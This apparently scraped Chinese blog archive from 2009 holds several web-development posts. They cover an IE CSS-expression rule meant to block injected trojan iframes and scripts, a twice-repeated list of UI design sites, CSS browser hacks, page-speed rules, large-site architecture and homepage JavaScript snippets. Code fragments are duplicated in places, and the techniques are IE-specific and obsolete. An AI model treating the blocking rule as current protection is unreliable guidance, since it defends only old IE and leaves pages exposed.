目前除了使用以前的阻断弹出窗口防范CSS挂马之外，还可以在网页中设置CSS过滤，将CSS过滤掉。不过如果你选择过滤CSS的话，首先需要留意自己的相关网页是否有CSS的内容，因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示：
Example Source Code [www.52css.com]
iframe{miao1:expression(this.src='about:blank'，this.outerHTML='');}
script{miao2:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
script{miao2:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
将外域的木马代码的src重写成本地IE404错误页面的地址，这样，外域的JavaScript代码不会被下载。不过阻断方式也有天生致命的弱点。
posted @ 2009-07-21 12:15 花生乐园 阅读(167) 评论(2) 编辑
随着技术的进步，网站和网络应用正在变得更具互动性，我们有更多增强用户体验的方法和技巧。如今“形式追随功能”的理念正变得更加重
要。
下面列出的这些网站能够帮你处理界面设计、用户体验(UE)、以用户为中心的设计(UID)、可用性以及任何这方面的问题。我们的目标就是更加完善的用户界面。
1. Boxes and Arrows
Boxes and Arrows提供交互设计、可用性设计和信息设计方面的专业信息。有的文章会教你设计具有良好可用性的在心邮件应用，还有利用VISIO展示富网络应用的例子。
2. UX Magazine
UX Magazine 主要讨论关于用户体验的话题，诸如层样式设计、程序员的设计技巧等。
3. UXmatters
UXmatters是一个非营利性网络杂志。本杂志致力于分享有效用户体验技术，为专业人士提供用户界面（UX）资源。UXmatters杂志的议题包括可用性、以用户为中心的设计、Web 2.0应用等等。有的文章在讨论富网络应用对用户的帮助和搜索表单的可用性设计。
4. A List Apart: User Science
A List Apart是最好的基于标准的设计和开发的文章资源，其中的User Science专题涵盖用户界面设计的各个方面。User Science的议题进一步分成三类：网络无障碍、信息架构、可用性。
5. Usability Post
Usability Post是一个关于可用性设计的博客。博客文章中提到了很多技巧，比如用页面空白改进用户界面、用Photoshop颜色配置文件设计web图像等。
6. Usability Counts
Usability Counts博客的作者是Patrick Neeman 和 Ha Phan，两位都是用户体验方面的顾问。博文中有航空公司网站表单的设计实例，也有关于可用性的深入思考。
7. Usable Web
Usable Web收集了用户界面设计方面的话题的链接。虽然网站不再更新一些文章已经过时，但你总能找到超越时间的文章和资源。
8. User Interface Engineering
User Interface Engineering公司主要进行用户界面工程的研究、培训和咨询，举办用户界面年会。公司网站的文献栏目下有大量用户界面设计方面的文章。这些话题包括web应用设计中的可用性挑战和帐户登录页面需要避免的设计失误。
9. Functioning Form
Functioning Form是一个交互式设计博客，作者是国际公认的网络专家、作家Luke Wroblewski。你能在Functioning Form上找到诸如《英国航空公司网站表单设计》和《用户注册表单模型》之类的文章。
10. useit.com
useit.com是可用性专家Jakob Nielsen建立的网站。网站的Alertbox部分是一个讨论当前可用性问题的双周专栏。-
11. InfoDesign主要讨论信息设计方面的话题。也有一些关于网络无障碍性、可用性和用户体验方面的文章分类。
12. Designing Interfaces
Designing Interfaces是一本在线图书，也就是O’Reilly’s出版的《Designing Interfaces: Patterns for Effective Interaction Design.》的摘要。（豆瓣）
13. Usability.govUsability.gov是由美国卫生与公众服务部提供的可用性和用户中心设计的政府资源。您可以在这儿学习可用性基础和可用性方法。
14. Usability First
Usability First旨在提供与网站和应用相关的可用性的有价值的资料。Usability first的分类包括网站设计、可用性投资回报率和网络无障碍设计。
15. Design with Intent
Design with Intent 是 Dan Lockton 的博客，主题是理解和影响用户交互。
16. Pattern Tap
学习有效用户界面的设计，最好的办法是看看其他设计师是如何做的。你可以从Pattern Tap的设计模型展示中获得灵感。这儿收藏了表单设计、登录界面、二级导航、按钮等资源。
17. Welie.com
Welie.com的交互设计模型库提供了各种交互设计的设计模型，包括面包屑导航、导航标签、评论框等等。
18. UI-patternsUI-patterns是另外一个顶级用户界面库，收集展示了一些改进过的设计模型，比如验证码、帐户注册、导航标签等。
19. UI Pattern FactoryUI Pattern Factory既是一个UI模型库又是一个UI画廊。它展示和讨论堆叠标签、旋转灯笼效果、即时点击编辑等UI模型。
20. Yahoo! Design Pattern LibraryYahoo开发网络有一个日渐丰富的设计模型库Yahoo! Design Pattern Library。这里展示了用户界面设计方面的通用设计模型。一些广为讨论的模型包括模块标签、拖放操作和评级评论。
要。
下面列出的这些网站能够帮你处理界面设计、用户体验(UE)、以用户为中心的设计(UID)、可用性以及任何这方面的问题。我们的目标就是更加完善的用户界面。
1. Boxes and Arrows
Boxes and Arrows提供交互设计、可用性设计和信息设计方面的专业信息。有的文章会教你设计具有良好可用性的在心邮件应用，还有利用VISIO展示富网络应用的例子。
2. UX Magazine
UX Magazine 主要讨论关于用户体验的话题，诸如层样式设计、程序员的设计技巧等。
3. UXmatters
UXmatters是一个非营利性网络杂志。本杂志致力于分享有效用户体验技术，为专业人士提供用户界面（UX）资源。UXmatters杂志的议题包括可用性、以用户为中心的设计、Web 2.0应用等等。有的文章在讨论富网络应用对用户的帮助和搜索表单的可用性设计。
4. A List Apart: User Science
A List Apart是最好的基于标准的设计和开发的文章资源，其中的User Science专题涵盖用户界面设计的各个方面。User Science的议题进一步分成三类：网络无障碍、信息架构、可用性。
5. Usability Post
Usability Post是一个关于可用性设计的博客。博客文章中提到了很多技巧，比如用页面空白改进用户界面、用Photoshop颜色配置文件设计web图像等。
6. Usability Counts
Usability Counts博客的作者是Patrick Neeman 和 Ha Phan，两位都是用户体验方面的顾问。博文中有航空公司网站表单的设计实例，也有关于可用性的深入思考。
7. Usable Web
Usable Web收集了用户界面设计方面的话题的链接。虽然网站不再更新一些文章已经过时，但你总能找到超越时间的文章和资源。
8. User Interface Engineering
User Interface Engineering公司主要进行用户界面工程的研究、培训和咨询，举办用户界面年会。公司网站的文献栏目下有大量用户界面设计方面的文章。这些话题包括web应用设计中的可用性挑战和帐户登录页面需要避免的设计失误。
9. Functioning Form
Functioning Form是一个交互式设计博客，作者是国际公认的网络专家、作家Luke Wroblewski。你能在Functioning Form上找到诸如《英国航空公司网站表单设计》和《用户注册表单模型》之类的文章。
10. useit.com
useit.com是可用性专家Jakob Nielsen建立的网站。网站的Alertbox部分是一个讨论当前可用性问题的双周专栏。-
11. InfoDesign主要讨论信息设计方面的话题。也有一些关于网络无障碍性、可用性和用户体验方面的文章分类。
12. Designing Interfaces
Designing Interfaces是一本在线图书，也就是O’Reilly’s出版的《Designing Interfaces: Patterns for Effective Interaction Design.》的摘要。（豆瓣）
13. Usability.govUsability.gov是由美国卫生与公众服务部提供的可用性和用户中心设计的政府资源。您可以在这儿学习可用性基础和可用性方法。
14. Usability First
Usability First旨在提供与网站和应用相关的可用性的有价值的资料。Usability first的分类包括网站设计、可用性投资回报率和网络无障碍设计。
15. Design with Intent
Design with Intent 是 Dan Lockton 的博客，主题是理解和影响用户交互。
16. Pattern Tap
学习有效用户界面的设计，最好的办法是看看其他设计师是如何做的。你可以从Pattern Tap的设计模型展示中获得灵感。这儿收藏了表单设计、登录界面、二级导航、按钮等资源。
17. Welie.com
Welie.com的交互设计模型库提供了各种交互设计的设计模型，包括面包屑导航、导航标签、评论框等等。
18. UI-patternsUI-patterns是另外一个顶级用户界面库，收集展示了一些改进过的设计模型，比如验证码、帐户注册、导航标签等。
19. UI Pattern FactoryUI Pattern Factory既是一个UI模型库又是一个UI画廊。它展示和讨论堆叠标签、旋转灯笼效果、即时点击编辑等UI模型。
20. Yahoo! Design Pattern LibraryYahoo开发网络有一个日渐丰富的设计模型库Yahoo! Design Pattern Library。这里展示了用户界面设计方面的通用设计模型。一些广为讨论的模型包括模块标签、拖放操作和评级评论。
posted @ 2009-07-21 12:07 花生乐园 阅读(243) 评论(1) 编辑
.test{
color:#000000; /* FF,OP支持 */
color:#0000FF\0; /* IE8支持*/
[color:#000000;color:#00FF00; /* SF,CH支持 */
*color:#FFFF00; /* IE7支持 */
_color:#FF0000; /* IE6支持 */
}
color:#000000; /* FF,OP支持 */
color:#0000FF\0; /* IE8支持*/
[color:#000000;color:#00FF00; /* SF,CH支持 */
*color:#FFFF00; /* IE7支持 */
_color:#FF0000; /* IE6支持 */
}
其中：OP表示Opera，SA表示Safari，Ch表示Chrome；
CSS黑客技术，从以上css属性可以看出各种浏览器的专属黑客代码；
IE8用“\0”，关于用"\0"在愚人码头的一篇博客（地址:http://www.css88.com/archives/1681）上作了测试
IE7用"*"
IE6用"_"
SA用"["
黑客技术不能滥用,一般在没有其他办法的情况下才选择使用。
posted @ 2009-07-21 11:50 花生乐园 阅读(72) 评论(0) 编辑
These rules are the key to speeding up your web pages. They've been tested on some of the most popular sites on the Internet and have successfully reduced the response times of those pages by 25-50%.
The key insight behind these best practices is the realization that only 10-20% of the total end-user response time is spent getting the HTML document to the browser. You need to focus on the other 80-90% if you want to make your pages noticeably faster. These rules are the best practices for optimizing the way servers and browsers handle that 80-90% of the user experience.
- Rule 1 - Make Fewer HTTP Requests
- Rule 2 - Use a Content Delivery Network
- Rule 3 - Add an Expires Header
- Rule 4 - Gzip Components
- Rule 5 - Put Stylesheets at the Top
- Rule 6 - Put Scripts at the Bottom
- Rule 7 - Avoid CSS Expressions
- Rule 8 - Make JavaScript and CSS External
- Rule 9 - Reduce DNS Lookups
- Rule 10 - Minify JavaScript
- Rule 11 - Avoid Redirects
- Rule 12 - Remove Duplicate Scripts
- Rule 13 - Configure ETags
- Rule 14 - Make AJAX Cacheable
- Rule 15 - Use Iframes Wisely
posted @ 2009-07-21 11:09 花生乐园 阅读(43) 评论(0) 编辑
一个小型的网站，比如个人网站，可以使用最简单的html静态页面就实现了，配合一些图片达到美化效果，所有的页面均存放在一个目录下，这样的网站对系统 架构、性能的要求都很简单，随着互联网业务的不断丰富，网站相关的技术经过这些年的发展，已经细分到很细的方方面面，尤其对于大型网站来说，所采用的技术 更是涉及面非常广，从硬件到软件、编程语言、数据库、WebServer、防火墙等各个领域都有了很高的要求，已经不是原来简单的html静态网站所能比 拟的。
大型网站，比如门户网站。在面对大量用户访问、高并发请求方面，基本的解决方案集中在这样几个环节：使用高性能的服务器、高性能的数据库、高效率的编程语言、还有高性能的Web容器。但是除了这几个方面，还没法根本解决大型网站面临的高负载和高并发问题。
上面提供的几个解决思路在一定程度上也意味着更大的投入，并且这样的解决思路具备瓶颈，没有很好的扩展性，下面我从低成本、高性能和高扩张性的角度来说说我的一些经验。
1、HTML静态化
其实大家都知道，效率最高、消耗最小的就是纯静态化的html页面，所以我们尽可能使我们 的网站上的页面采用静态页面来实现，这个最简单的方法其实也是最有效的方法。但是对于大量内容并且频繁更新的网站，我们无法全部手动去挨个实现，于是出现 了我们常见的信息发布系统CMS，像我们常访问的各个门户站点的新闻频道，甚至他们的其他频道，都是通过信息发布系统来管理和实现的，信息发布系统可以实 现最简单的信息录入自动生成静态页面，还能具备频道管理、权限管理、自动抓取等功能，对于一个大型网站来说，拥有一套高效、可管理的CMS是必不可少的。
除了门户和信息发布类型的网站，对于交互性要求很高的社区类型网站来说，尽可能的静态化也是提高性能的必要手段，将社区内的帖子、文章进行实时的静态化，有更新的时候再重新静态化也是大量使用的策略，像Mop的大杂烩就是使用了这样的策略，网易社区等也是如此。
同时，html静态化也是某些缓存策略使用的手段，对于系统中频繁使用数据库查询但是内容更新很小的应用，可以考虑使用html静态化来实现，比如论坛中 论坛的公用设置信息，这些信息目前的主流论坛都可以进行后台管理并且存储再数据库中，这些信息其实大量被前台程序调用，但是更新频率很小，可以考虑将这部 分内容进行后台更新的时候进行静态化，这样避免了大量的数据库访问请求。
2、图片服务器分离
大家知道，对于Web服务器来说，不管是Apache、IIS还是其他容器，图片是最消耗资源的，于是我们有必要将图片与页面进行分离，这是基本上大型网 站都会采用的策略，他们都有独立的图片服务器，甚至很多台图片服务器。这样的架构可以降低提供页面访问请求的服务器系统压力，并且可以保证系统不会因为图 片问题而崩溃，在应用服务器和图片服务器上，可以进行不同的配置优化，比如apache在配置ContentType的时候可以尽量少支持，尽可能少的 LoadModule，保证更高的系统消耗和执行效率。
3、数据库集群和库表散列
大型网站都有复杂的应用，这些应用必须使用数据库，那么在面对大量访问的时候，数据库的瓶颈很快就能显现出来，这时一台数据库将很快无法满足应用，于是我们需要使用数据库集群或者库表散列。
在数据库集群方面，很多数据库都有自己的解决方案，Oracle、Sybase等都有很好的方案，常用的MySQL提供的Master/Slave也是类似的方案，您使用了什么样的DB，就参考相应的解决方案来实施即可。
上面提到的数据库集群由于在架构、成本、扩张性方面都会受到所采用DB类型的限制，于是我们需要从应用程序的角度来考虑改善系统架构，库表散列是常用并且 最有效的解决方案。我们在应用程序中安装业务和应用或者功能模块将数据库进行分离，不同的模块对应不同的数据库或者表，再按照一定的策略对某个页面或者功 能进行更小的数据库散列，比如用户表，按照用户ID进行表散列，这样就能够低成本的提升系统的性能并且有很好的扩展性。sohu的论坛就是采用了这样的架 构，将论坛的用户、设置、帖子等信息进行数据库分离，然后对帖子、用户按照板块和ID进行散列数据库和表，最终可以在配置文件中进行简单的配置便能让系统 随时增加一台低成本的数据库进来补充系统性能。
4、缓存
缓存一词搞技术的都接触过，很多地方用到缓存。网站架构和网站开发中的缓存也是非常重要。这里先讲述最基本的两种缓存。高级和分布式的缓存在后面讲述。
架构方面的缓存，对Apache比较熟悉的人都能知道Apache提供了自己的缓存模块，也可以使用外加的Squid模块进行缓存，这两种方式均可以有效的提高Apache的访问响应能力。
网站程序开发方面的缓存，Linux上提供的Memory Cache是常用的缓存接口，可以在web开发中使用，比如用Java开发的时候就可以调用MemoryCache对一些数据进行缓存和通讯共享，一些大 型社区使用了这样的架构。另外，在使用web语言开发的时候，各种语言基本都有自己的缓存模块和方法，PHP有Pear的Cache模块，Java就更多 了，.net不是很熟悉，相信也肯定有。
5、镜像
镜像是大型网站常采用的提高性能和数据安全性的方式，镜像的技术可以解决不同网络接入商和地域带来的 用户访问速度差异，比如ChinaNet和EduNet之间的差异就促使了很多网站在教育网内搭建镜像站点，数据进行定时更新或者实时更新。在镜像的细节 技术方面，这里不阐述太深，有很多专业的现成的解决架构和产品可选。也有廉价的通过软件实现的思路，比如Linux上的rsync等工具。
6、负载均衡
负载均衡将是大型网站解决高负荷访问和大量并发请求采用的终极解决办法。
负载均衡技术发展了多年，有很多专业的服务提供商和产品可以选择，我个人接触过一些解决方法，其中有两个架构可以给大家做参考。
硬件四层交换
第四层交换使用第三层和第四层信息包的报头信息，根据应用区间识别业务流，将整个区间段的业务流分配到合适的应用服务器进行处理。 第四层交换功能就象是 虚 IP，指向物理服务器。它传输的业务服从的协议多种多样，有HTTP、FTP、NFS、Telnet或其他协议。这些业务在物理服务器基础上，需要复杂的 载量平衡算法。在IP世界，业务类型由终端TCP或UDP端口地址来决定，在第四层交换中的应用区间则由源端和终端IP地址、TCP和UDP端口共同决 定。
在硬件四层交换产品领域，有一些知名的产品可以选择，比如Alteon、F5等，这些产品很昂贵，但是物有所值，能够提供非常优秀的性能和很灵活的管理能力。Yahoo中国当初接近2000台服务器使用了三四台Alteon就搞定了。
软件四层交换
大家知道了硬件四层交换机的原理后，基于OSI模型来实现的软件四层交换也就应运而生，这样的解决方案实现的原理一致，不过性能稍差。但是满足一定量的压力还是游刃有余的，有人说软件实现方式其实更灵活，处理能力完全看你配置的熟悉能力。
软件四层交换我们可以使用Linux上常用的LVS来解决，LVS就是Linux Virtual Server，他提供了基于心跳线heartbeat的实时灾难应对解决方案，提高系统的鲁棒性，同时可供了灵活的虚拟VIP配置和管理功能，可以同时满足多种应用需求，这对于分布式的系统来说必不可少。
一个典型的使用负载均衡的策略就是，在软件或者硬件四层交换的基础上搭建squid集群，这种思路在很多大型网站包括搜索引擎上被采用，这样的架构低成本、高性能还有很强的扩张性，随时往架构里面增减节点都非常容易。这样的架构我准备空了专门详细整理一下和大家探讨。
对于大型网站来说，前面提到的每个方法可能都会被同时使用到，我这里介绍得比较浅显，具体实现过程中很多细节还需要大家慢慢熟悉和体会，有时一个很小的squid参数或者apache参数设置，对于系统性能的影响就会很大，希望大家一起讨论，达到抛砖引玉之效。
我是在之前的sina博客上转过来的，原文的链接地址因为之前的时候没写，所以找不到了，如果是这篇文章的作者看到了，请别介意！
posted @ 2009-07-21 10:51 花生乐园 阅读(183) 评论(0) 编辑
脚本1:进入主页以后自动播放声音
脚本2:进入主页后自动最大话,省的去在自己单击了
脚本3:显示现在时间的脚本
脚本4:显示最后修改时间的脚本
脚本5:设为首页,加为收藏，加入频道,启动outlook发信
脚本6:状态栏动态显示现在时间
脚本7:关闭窗口的脚本
脚本8:按下F12键,直接返回首页
脚本9:后退,刷新,前进
脚本10:设定时间弹出窗口,4000=4秒,当然你可以自定义
<embed src="pnm://10.13.31.90/~kayvin/mihunji.rm" hidden=true autostart=true loop=true>
脚本2:进入主页后自动最大话,省的去在自己单击了
<script>
self.moveTo(0,0)
self.resizeTo(screen.availWidth,screen.availHeight)
</script>
self.moveTo(0,0)
self.resizeTo(screen.availWidth,screen.availHeight)
</script>
脚本3:显示现在时间的脚本
<script language=vbscript>document.write now</script>
脚本4:显示最后修改时间的脚本
<script>document.write(document.lastModified)</script>
脚本5:设为首页,加为收藏，加入频道,启动outlook发信
<a style="cursor:hand"
onclick="this.style.behavior="url(#default#homepage)";
this.setHomePage("yourURL">设为首页</a>
<a style="cursor:hand"
onclick="window.external.AddFavorite(location.href,document.title);">加入收藏</a>
<a href=javascript:window.external.addChannel("typhoon.cdf")>加入频道</a>
<a href="youEmail">与我联系</a>
onclick="this.style.behavior="url(#default#homepage)";
this.setHomePage("yourURL">设为首页</a>
<a style="cursor:hand"
onclick="window.external.AddFavorite(location.href,document.title);">加入收藏</a>
<a href=javascript:window.external.addChannel("typhoon.cdf")>加入频道</a>
<a href="youEmail">与我联系</a>
脚本6:状态栏动态显示现在时间
<script>
function see(){
window.setTimeout("see()",1000);
today = new Date();
self.status = today.toString();
}
</script>
<body onload=see()>
function see(){
window.setTimeout("see()",1000);
today = new Date();
self.status = today.toString();
}
</script>
<body onload=see()>
脚本7:关闭窗口的脚本
<a href=javascript:close()>[关闭窗口]</a>
脚本8:按下F12键,直接返回首页
<script>function look(){
if(event.keyCode==123){document.location.href=http://10.13.31.90/~kayvin/}
}
if(document.onkeydown==null)
{document.onkeydown=look}
</script>
if(event.keyCode==123){document.location.href=http://10.13.31.90/~kayvin/}
}
if(document.onkeydown==null)
{document.onkeydown=look}
</script>
脚本9:后退,刷新,前进
<input type=button value=后退 onclick=history.go(-1)>
<input type=button value=刷新 onclick=history.go(-0)>
<input type=button value=前进 onclick=history.go(+1)>
<input type=button value=刷新 onclick=history.go(-0)>
<input type=button value=前进 onclick=history.go(+1)>
脚本10:设定时间弹出窗口,4000=4秒,当然你可以自定义
<script>function l() {
window.open("yourURL","name","width=500,height=150,border=0")
}
setTimeout("l()",4000)
</script>
window.open("yourURL","name","width=500,height=150,border=0")
}
setTimeout("l()",4000)
</script>
posted @ 2009-07-21 10:30 花生乐园 阅读(98) 评论(0) 编辑